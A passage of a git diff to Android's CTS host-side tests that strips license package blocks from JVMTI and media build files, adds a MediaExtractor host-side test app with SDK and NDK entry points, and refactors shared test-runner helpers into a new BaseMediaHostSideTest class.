+++ b/hostsidetests/jvmti/run-tests/test-990/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest990DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-991/Android.bp b/hostsidetests/jvmti/run-tests/test-991/Android.bp
index a7d6d5c..55fcb62 100644
--- a/hostsidetests/jvmti/run-tests/test-991/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-991/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest991HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-991/app/Android.bp b/hostsidetests/jvmti/run-tests/test-991/app/Android.bp
index 96997f1..30d419e 100644
--- a/hostsidetests/jvmti/run-tests/test-991/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-991/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest991DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-992/Android.bp b/hostsidetests/jvmti/run-tests/test-992/Android.bp
index bdb9f9c..a05e992 100644
--- a/hostsidetests/jvmti/run-tests/test-992/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-992/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest992HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-992/app/Android.bp b/hostsidetests/jvmti/run-tests/test-992/app/Android.bp
index b4c1a1f..cf388ea 100644
--- a/hostsidetests/jvmti/run-tests/test-992/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-992/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest992DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-993/Android.bp b/hostsidetests/jvmti/run-tests/test-993/Android.bp
index 37b1cc0..bad6f70 100644
--- a/hostsidetests/jvmti/run-tests/test-993/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-993/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest993HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-993/app/Android.bp b/hostsidetests/jvmti/run-tests/test-993/app/Android.bp
index 1546d7e..c903584 100644
--- a/hostsidetests/jvmti/run-tests/test-993/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-993/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest993DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-994/Android.bp b/hostsidetests/jvmti/run-tests/test-994/Android.bp
index 63fc348..444f704 100644
--- a/hostsidetests/jvmti/run-tests/test-994/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-994/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest994HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-994/app/Android.bp b/hostsidetests/jvmti/run-tests/test-994/app/Android.bp
index e227326..401f44c 100644
--- a/hostsidetests/jvmti/run-tests/test-994/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-994/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest994DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-995/Android.bp b/hostsidetests/jvmti/run-tests/test-995/Android.bp
index 818d938..068a54a 100644
--- a/hostsidetests/jvmti/run-tests/test-995/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-995/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest995HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-995/app/Android.bp b/hostsidetests/jvmti/run-tests/test-995/app/Android.bp
index 9a451dc..e6333c4 100644
--- a/hostsidetests/jvmti/run-tests/test-995/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-995/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest995DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-996/Android.bp b/hostsidetests/jvmti/run-tests/test-996/Android.bp
index 5c80177..48c83c6 100644
--- a/hostsidetests/jvmti/run-tests/test-996/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-996/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest996HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-996/app/Android.bp b/hostsidetests/jvmti/run-tests/test-996/app/Android.bp
index 357daa3..11ed826 100644
--- a/hostsidetests/jvmti/run-tests/test-996/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-996/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest996DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-997/Android.bp b/hostsidetests/jvmti/run-tests/test-997/Android.bp
index 719d51a..c1bfabf 100644
--- a/hostsidetests/jvmti/run-tests/test-997/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-997/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest997HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-997/app/Android.bp b/hostsidetests/jvmti/run-tests/test-997/app/Android.bp
index 8d2b2a3..7985c45 100644
--- a/hostsidetests/jvmti/run-tests/test-997/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-997/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest997DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/tagging/Android.bp b/hostsidetests/jvmti/tagging/Android.bp
index 32c262c..e0b0d32 100644
--- a/hostsidetests/jvmti/tagging/Android.bp
+++ b/hostsidetests/jvmti/tagging/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiTaggingHostTestCases",
diff --git a/hostsidetests/jvmti/tagging/app/Android.bp b/hostsidetests/jvmti/tagging/app/Android.bp
index abf5078..45e4d78 100644
--- a/hostsidetests/jvmti/tagging/app/Android.bp
+++ b/hostsidetests/jvmti/tagging/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiTaggingDeviceApp",
dex_preopt: {
diff --git a/hostsidetests/media/Android.bp b/hostsidetests/media/Android.bp
index b16d6fe..053a101 100644
--- a/hostsidetests/media/Android.bp
+++ b/hostsidetests/media/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsMediaHostTestCases",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/media/TEST_MAPPING b/hostsidetests/media/TEST_MAPPING
new file mode 100644
index 0000000..e7796eb
--- /dev/null
+++ b/hostsidetests/media/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+ "presubmit": [
+ {
+ "name": "CtsMediaHostTestCases"
+ }
+ ]
+}
diff --git a/hostsidetests/media/app/MediaExtractorTest/Android.bp b/hostsidetests/media/app/MediaExtractorTest/Android.bp
new file mode 100644
index 0000000..f5b32ab
--- /dev/null
+++ b/hostsidetests/media/app/MediaExtractorTest/Android.bp
@@ -0,0 +1,54 @@
+// Copyright 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "CtsMediaExtractorHostTestApp",
+ defaults: ["cts_defaults"],
+ test_suites: [
+ "cts",
+ "general-tests",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ jni_libs: ["libCtsMediaExtractorHostTestAppJni"],
+ static_libs: [
+ "androidx.test.ext.junit",
+ "compatibility-device-util-axt",
+ "ctstestrunner-axt",
+ ],
+ compile_multilib: "both",
+ sdk_version: "test_current",
+}
+
+cc_test_library {
+ name: "libCtsMediaExtractorHostTestAppJni",
+ srcs: ["jni/MediaExtractorDeviceSideTestNative.cpp"],
+ shared_libs: [
+ "liblog",
+ "libmediandk",
+ "libandroid",
+ "libnativehelper_compat_libc++",
+ ],
+ include_dirs: [
+ "frameworks/av/media/ndk/include/media",
+ ],
+ stl: "libc++_static",
+ cflags: [
+ "-Werror",
+ "-Wall",
+ ],
+ gtest: false,
+ sdk_version: "current",
+}
diff --git a/hostsidetests/media/app/MediaExtractorTest/AndroidManifest.xml b/hostsidetests/media/app/MediaExtractorTest/AndroidManifest.xml
new file mode 100644
index 0000000..75f05b1
--- /dev/null
+++ b/hostsidetests/media/app/MediaExtractorTest/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.media.cts">
+
+ <application>
+ <uses-library android:name="android.test.runner" />
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.media.cts"
+ android:label="Device test app for MediaExtractor host side tests.">
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener" />
+ </instrumentation>
+</manifest>
diff --git a/hostsidetests/media/app/MediaExtractorTest/assets/raw/small_sample.mp4 b/hostsidetests/media/app/MediaExtractorTest/assets/raw/small_sample.mp4
new file mode 100644
index 0000000..a49c1cd
--- /dev/null
+++ b/hostsidetests/media/app/MediaExtractorTest/assets/raw/small_sample.mp4
Binary files differ
diff --git a/hostsidetests/media/app/MediaExtractorTest/jni/MediaExtractorDeviceSideTestNative.cpp b/hostsidetests/media/app/MediaExtractorTest/jni/MediaExtractorDeviceSideTestNative.cpp
new file mode 100644
index 0000000..b39d99b
--- /dev/null
+++ b/hostsidetests/media/app/MediaExtractorTest/jni/MediaExtractorDeviceSideTestNative.cpp
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <NdkMediaExtractor.h>
+#include <android/asset_manager.h>
+#include <android/asset_manager_jni.h>
+#include <jni.h>
+#include <nativehelper/ScopedUtfChars.h>
+#include <thread>
+
+extern "C" JNIEXPORT void JNICALL
+Java_android_media_cts_MediaExtractorDeviceSideTest_extractUsingNdkMediaExtractor(
+ JNIEnv* env, jobject, jobject assetManager, jstring assetPath, jboolean withAttachedJvm) {
+ ScopedUtfChars scopedPath(env, assetPath);
+
+ AAssetManager* nativeAssetManager = AAssetManager_fromJava(env, assetManager);
+ AAsset* asset = AAssetManager_open(nativeAssetManager, scopedPath.c_str(), AASSET_MODE_RANDOM);
+ off_t start;
+ off_t length;
+ int fd = AAsset_openFileDescriptor(asset, &start, &length);
+
+ auto mediaExtractorTask = [=]() {
+ AMediaExtractor* mediaExtractor = AMediaExtractor_new();
+ AMediaExtractor_setDataSourceFd(mediaExtractor, fd, start, length);
+ AMediaExtractor_delete(mediaExtractor);
+ };
+
+ if (withAttachedJvm) {
+ // The currently running thread is a Java thread so it has an attached JVM.
+ mediaExtractorTask();
+ } else {
+ // We want to run the MediaExtractor calls on a thread with no JVM, so we spawn a new native
+ // thread which will not have an associated JVM. We execute the MediaExtractor calls on the
+ // new thread, and immediately join its execution so as to wait for its completion.
+ std::thread(mediaExtractorTask).join();
+ }
+ // TODO: Make resource management automatic through scoped handles.
+ close(fd);
+ AAsset_close(asset);
+}
diff --git a/hostsidetests/media/app/MediaExtractorTest/src/android/media/cts/MediaExtractorDeviceSideTest.java b/hostsidetests/media/app/MediaExtractorTest/src/android/media/cts/MediaExtractorDeviceSideTest.java
new file mode 100644
index 0000000..51b2faf
--- /dev/null
+++ b/hostsidetests/media/app/MediaExtractorTest/src/android/media/cts/MediaExtractorDeviceSideTest.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import android.content.res.AssetFileDescriptor;
+import android.content.res.AssetManager;
+import android.media.MediaExtractor;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/** Test class used by host-side tests to trigger {@link MediaExtractor} media metric events. */
+@RunWith(AndroidJUnit4.class)
+public class MediaExtractorDeviceSideTest {
+
+ static {
+ System.loadLibrary("CtsMediaExtractorHostTestAppJni");
+ }
+
+ private static final String SAMPLE_PATH = "raw/small_sample.mp4";
+ private AssetManager mAssetManager;
+
+ @Before
+ public void setUp() {
+ mAssetManager = InstrumentationRegistry.getInstrumentation().getContext().getAssets();
+ }
+
+ @Test
+ public void testEntryPointSdk() throws Exception {
+ MediaExtractor mediaExtractor = new MediaExtractor();
+ AssetManager assetManager =
+ InstrumentationRegistry.getInstrumentation().getContext().getAssets();
+ try (AssetFileDescriptor fileDescriptor = assetManager.openFd(SAMPLE_PATH)) {
+ mediaExtractor.setDataSource(fileDescriptor);
+ }
+ mediaExtractor.release();
+ }
+
+ @Test
+ public void testEntryPointNdkNoJvm() {
+ extractUsingNdkMediaExtractor(mAssetManager, SAMPLE_PATH, /* withAttachedJvm= */ false);
+ }
+
+ @Test
+ public void testEntryPointNdkWithJvm() {
+ extractUsingNdkMediaExtractor(mAssetManager, SAMPLE_PATH, /* withAttachedJvm= */ true);
+ }
+
+ private native void extractUsingNdkMediaExtractor(
+ AssetManager assetManager, String assetPath, boolean withAttachedJvm);
+}
diff --git a/hostsidetests/media/app/MediaSessionTest/Android.bp b/hostsidetests/media/app/MediaSessionTest/Android.bp
index 4dd94a0..b21a6da 100644
--- a/hostsidetests/media/app/MediaSessionTest/Android.bp
+++ b/hostsidetests/media/app/MediaSessionTest/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsMediaSessionHostTestApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/media/app/MediaSessionTestHelper/Android.bp b/hostsidetests/media/app/MediaSessionTestHelper/Android.bp
index 66340b2..d6e141f 100644
--- a/hostsidetests/media/app/MediaSessionTestHelper/Android.bp
+++ b/hostsidetests/media/app/MediaSessionTestHelper/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsMediaSessionTestHelper",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/media/bitstreams/Android.bp b/hostsidetests/media/bitstreams/Android.bp
index 30bbb69..aa40e61 100644
--- a/hostsidetests/media/bitstreams/Android.bp
+++ b/hostsidetests/media/bitstreams/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsMediaBitstreamsTestCases",
srcs: [
diff --git a/hostsidetests/media/bitstreams/app/Android.bp b/hostsidetests/media/bitstreams/app/Android.bp
index 3a4804f..477da98 100644
--- a/hostsidetests/media/bitstreams/app/Android.bp
+++ b/hostsidetests/media/bitstreams/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsMediaBitstreamsDeviceSideTestApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/media/bitstreams/common/Android.bp b/hostsidetests/media/bitstreams/common/Android.bp
index a758f20..a21bd21 100644
--- a/hostsidetests/media/bitstreams/common/Android.bp
+++ b/hostsidetests/media/bitstreams/common/Android.bp
@@ -16,10 +16,6 @@
// Build the common library for use device-side
//##############################################################################
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library {
name: "media-bitstreams-common-devicesidelib",
srcs: ["src/**/*.java"],
diff --git a/hostsidetests/media/src/android/media/cts/BaseMediaHostSideTest.java b/hostsidetests/media/src/android/media/cts/BaseMediaHostSideTest.java
new file mode 100644
index 0000000..ddce632
--- /dev/null
+++ b/hostsidetests/media/src/android/media/cts/BaseMediaHostSideTest.java
@@ -0,0 +1,165 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil;
+import com.android.tradefed.result.CollectingTestListener;
+import com.android.tradefed.result.TestDescription;
+import com.android.tradefed.result.TestResult;
+import com.android.tradefed.result.TestRunResult;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.io.FileNotFoundException;
+import java.util.Map;
+import java.util.concurrent.TimeUnit;
+
+import javax.annotation.Nonnull;
+import javax.annotation.Nullable;
+
+/** Base class for host-side tests for media APIs. */
+public class BaseMediaHostSideTest extends DeviceTestCase implements IBuildReceiver {
+ private static final String RUNNER = "androidx.test.runner.AndroidJUnitRunner";
+
+ /**
+ * The defined timeout (in milliseconds) is used as a maximum waiting time when expecting the
+ * command output from the device. At any time, if the shell command does not output anything
+ * for a period longer than the defined timeout the Tradefed run terminates.
+ */
+ private static final long DEFAULT_SHELL_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(5);
+
+ /** Instrumentation test runner argument key used for individual test timeout. */
+ protected static final String TEST_TIMEOUT_INST_ARGS_KEY = "timeout_msec";
+
+ /**
+ * Sets timeout (in milliseconds) that will be applied to each test. In the event of a test
+ * timeout it will log the results and proceed with executing the next test.
+ */
+ private static final long DEFAULT_TEST_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(5);
+
+ protected IBuildInfo mCtsBuild;
+
+ @Override
+ public void setBuild(IBuildInfo buildInfo) {
+ mCtsBuild = buildInfo;
+ }
+
+ /**
+ * Runs tests on the device.
+ *
+ * @param pkgName The test package file name that contains the test.
+ * @param testClassName The class name to test within the test package. If {@code null}, runs
+ * all test classes in the package.
+ * @param testMethodName Method name to test within the test class. Ignored if {@code
+ * testClassName} is {@code null}. If {@code null}, runs all test classes in the class.
+ */
+ protected void runDeviceTests(
+ String pkgName, @Nullable String testClassName, @Nullable String testMethodName)
+ throws DeviceNotAvailableException {
+ RemoteAndroidTestRunner testRunner = getTestRunner(pkgName, testClassName, testMethodName);
+ CollectingTestListener listener = new CollectingTestListener();
+ assertTrue(getDevice().runInstrumentationTests(testRunner, listener));
+ assertTestsPassed(listener.getCurrentRunResults());
+ }
+
+ /**
+ * Excutes shell command and returns the result.
+ *
+ * @param command The command to run.
+ * @return The result from the command. If the result was {@code null}, empty string ("") will
+ * be returned instead. Otherwise, trimmed result will be returned.
+ */
+ protected @Nonnull String executeShellCommand(String command) throws Exception {
+ LogUtil.CLog.d("Starting command " + command);
+ String commandOutput = getDevice().executeShellCommand(command);
+ LogUtil.CLog.d("Output for command " + command + ": " + commandOutput);
+ return commandOutput != null ? commandOutput.trim() : "";
+ }
+
+ /** Installs the app with the given {@code appFileName}. */
+ protected void installApp(String appFileName)
+ throws FileNotFoundException, DeviceNotAvailableException {
+ LogUtil.CLog.d("Installing app " + appFileName);
+ CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+ String result =
+ getDevice()
+ .installPackage(
+ buildHelper.getTestFile(appFileName),
+ /* reinstall= */ true,
+ /* grantPermissions= */ true,
+ "-t"); // Signals that this is a test APK.
+ assertNull("Failed to install " + appFileName + ": " + result, result);
+ }
+
+ /** Returns a {@link RemoteAndroidTestRunner} for the given test parameters. */
+ protected RemoteAndroidTestRunner getTestRunner(
+ String pkgName, String testClassName, String testMethodName) {
+ if (testClassName != null && testClassName.startsWith(".")) {
+ testClassName = pkgName + testClassName;
+ }
+
+ RemoteAndroidTestRunner testRunner =
+ new RemoteAndroidTestRunner(pkgName, RUNNER, getDevice().getIDevice());
+ testRunner.setMaxTimeToOutputResponse(DEFAULT_SHELL_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+ testRunner.addInstrumentationArg(
+ TEST_TIMEOUT_INST_ARGS_KEY, Long.toString(DEFAULT_TEST_TIMEOUT_MILLIS));
+ if (testClassName != null && testMethodName != null) {
+ testRunner.setMethodName(testClassName, testMethodName);
+ } else if (testClassName != null) {
+ testRunner.setClassName(testClassName);
+ }
+ return testRunner;
+ }
+
+ /**
+ * Asserts that {@code testRunResult} contains at least one test, and that all tests passed.
+ *
+ * <p>If the assertion fails, an {@link AssertionError} with a descriptive message is thrown.
+ */
+ protected void assertTestsPassed(TestRunResult testRunResult) {
+ if (testRunResult.isRunFailure()) {
+ throw new AssertionError(
+ "Failed to successfully run device tests for "
+ + testRunResult.getName()
+ + ": "
+ + testRunResult.getRunFailureMessage());
+ }
+ if (testRunResult.getNumTests() == 0) {
+ throw new AssertionError("No tests were run on the device");
+ }
+
+ if (testRunResult.hasFailedTests()) {
+ // Build a meaningful error message
+ StringBuilder errorBuilder = new StringBuilder("On-device tests failed:\n");
+ for (Map.Entry<TestDescription, TestResult> resultEntry :
+ testRunResult.getTestResults().entrySet()) {
+ if (!resultEntry
+ .getValue()
+ .getStatus()
+ .equals(com.android.ddmlib.testrunner.TestResult.TestStatus.PASSED)) {
+ errorBuilder.append(resultEntry.getKey().toString());
+ errorBuilder.append(":\n");
+ errorBuilder.append(resultEntry.getValue().getStackTrace());
+ }
+ }
+ throw new AssertionError(errorBuilder.toString());
+ }
+ }
+}
diff --git a/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java b/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java
index 08461fb..1a03581 100644
--- a/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java
+++ b/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java
@@ -43,26 +43,7 @@
/**
* Base class for host-side tests for multi-user aware media APIs.
*/
-public class BaseMultiUserTest extends DeviceTestCase implements IBuildReceiver {
- private static final String RUNNER = "androidx.test.runner.AndroidJUnitRunner";
-
- /**
- * The defined timeout (in milliseconds) is used as a maximum waiting time when expecting the
- * command output from the device. At any time, if the shell command does not output anything
- * for a period longer than the defined timeout the Tradefed run terminates.
- */
- private static final long DEFAULT_SHELL_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(5);
-
- /**
- * Instrumentation test runner argument key used for individual test timeout
- **/
- protected static final String TEST_TIMEOUT_INST_ARGS_KEY = "timeout_msec";
-
- /**
- * Sets timeout (in milliseconds) that will be applied to each test. In the
- * event of a test timeout it will log the results and proceed with executing the next test.
- */
- private static final long DEFAULT_TEST_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(5);
+public class BaseMultiUserTest extends BaseMediaHostSideTest {
private static final String SETTINGS_PACKAGE_VERIFIER_NAMESPACE = "global";
private static final String SETTINGS_PACKAGE_VERIFIER_NAME = "package_verifier_enable";
@@ -78,7 +59,6 @@
*/
protected static final int USER_SYSTEM = 0;
- private IBuildInfo mCtsBuild;
private String mPackageVerifier;
private Set<String> mExistingPackages;
@@ -104,7 +84,7 @@
"0",
USER_ALL);
- mExistingUsers = new ArrayList();
+ mExistingUsers = new ArrayList<>();
int primaryUserId = getDevice().getPrimaryUserId();
mExistingUsers.add(primaryUserId);
mExistingUsers.add(USER_SYSTEM);
@@ -139,11 +119,6 @@
super.tearDown();
}
- @Override
- public void setBuild(IBuildInfo buildInfo) {
- mCtsBuild = buildInfo;
- }
-
/**
* Installs the app as if the user of the ID {@param userId} has installed the app.
*
@@ -165,20 +140,6 @@
result);
}
- /**
- * Excutes shell command and returns the result.
- *
- * @param command command to run.
- * @return result from the command. If the result was {@code null}, empty string ("") will be
- * returned instead. Otherwise, trimmed result will be returned.
- */
- protected @Nonnull String executeShellCommand(final String command) throws Exception {
- CLog.d("Starting command " + command);
- String commandOutput = getDevice().executeShellCommand(command);
- CLog.d("Output for command " + command + ": " + commandOutput);
- return commandOutput != null ? commandOutput.trim() : "";
- }
-
private int createAndStartUser(String extraParam) throws Exception {
String command = "pm create-user" + extraParam + " TestUser_" + System.currentTimeMillis();
String commandOutput = executeShellCommand(command);
@@ -248,49 +209,15 @@
* {@code null}.
* @param userId user ID to run the tests as.
*/
- protected void runDeviceTestsAsUser(
+ protected void runDeviceTests(
String pkgName, @Nullable String testClassName,
@Nullable String testMethodName, int userId) throws DeviceNotAvailableException {
- if (testClassName != null && testClassName.startsWith(".")) {
- testClassName = pkgName + testClassName;
- }
-
- RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(
- pkgName, RUNNER, getDevice().getIDevice());
- testRunner.setMaxTimeToOutputResponse(DEFAULT_SHELL_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
- testRunner.addInstrumentationArg(
- TEST_TIMEOUT_INST_ARGS_KEY, Long.toString(DEFAULT_TEST_TIMEOUT_MILLIS));
- if (testClassName != null && testMethodName != null) {
- testRunner.setMethodName(testClassName, testMethodName);
- } else if (testClassName != null) {
- testRunner.setClassName(testClassName);
